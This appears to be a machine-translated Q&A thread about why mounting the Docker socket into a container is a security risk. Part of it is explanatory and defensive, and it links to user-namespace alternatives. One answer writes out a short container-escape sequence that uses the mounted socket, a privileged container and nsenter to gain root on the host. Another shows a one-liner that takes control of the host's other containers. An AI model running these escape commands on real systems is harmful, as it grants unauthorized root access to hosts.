在this blog article中，我在注释中找到了下面的引号：
本·费希曼
是的，您说得对，我应该指出Docker套接字的安全性问题。如您从待办事项清单中所注意到的那样，目前这是在生产中将其实用化的主要障碍，并且我们绝对在寻求帮助以使它更好地工作。
虽然我确信这对许多人来说都是有意义的，但对于我们其他人，有人可以用清晰的术语确切地解释这个“安全问题”是什么吗？我认为它是指：
volumes:
- "/var/run/docker.sock:/var/run/docker.sock"
在docker-compose文件中。那是对的吗？这将如何被利用？这是否有效地禁止了这种方法在生产中的使用？如果是这样，是否有解决方法？
对于我们其他人，有人可以用清晰的术语确切地解释这个“安全问题”是什么吗？
docker /var/run/docker.sock的所有者是容器运行所在主机的root，默认组成员身份为docker组。这就是为什么在另一个容器中装载var/run/docker.sock会赋予您root特权的原因，因为您现在可以执行具有root组成员身份的docker用户执行的任何操作。
这是否有效地禁止将这种方法用于生产？如果是这样，是否有解决方法？
关于一种替代方法，这些帖子可能会有所帮助：https://integratedcode.us/2016/04/08/user-namespaces-sharing-the-docker-unix-socket/和https://integratedcode.us/2016/04/20/sharing-the-docker-unix-socket-with-unprivileged-containers-redux/
退后一步，了解需要挂载var/run/docker.sock的用例并查看是否存在满足用例的其他方法会很有用。不幸的是，没有问题中的用例描述，很难提供一种避免安装unix套接字的替代方案。
祝您做正确的事，万事如意！
这是一个古老的问题，但我希望我能给您一个确切的例子。
有人可以用清晰的术语确切解释这个“安全问题”是什么吗？
这里是漏洞利用的核心：
sh0% docker run -v /var/run/docker.sock:/ourdocker.sock:ro -it ubuntu bash
sh1# docker -H unix:///ourdocker.sock run --privileged -v /:/host ubuntu bash
sh2# nsenter --mount=/host/proc/1/ns/mnt --pid=/host/proc/1/ns/pid
sh3# # now we are in the host namespaces with root access
您也可以在没有--privileged的情况下进行操作。如果使用用户名称空间，则这个问题很难利用，但在某些情况下还是有可能的（并且您仍然可以影响在同一主机上运行的其他容器）。
任何可以写入dockerd套接字的进程也实际上对主机具有root访问权限...好吧，您能否在生产中使用它取决于您。
接受的答案提供了很好的解释，因此，我不会重复任何有关您正在装入root拥有的文件这一事实的详细信息。
也许下面的示例对某些读者来说是微不足道的，但我很惊讶没有人提及它。
记住您有权访问主机上的非常特殊的文件-docker.sock。
因此，如果您在容器中安装Docker：
apt-get update
apt-get install docker.io -y
或作为容器创建的单线：
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest sh -c "apt-get update ; apt-get install docker.io -y ; bash"
（（在带有docker ps的容器检查中，您看到主机上正在运行其他容器）。
现在您可以完全控制主机中的其他容器。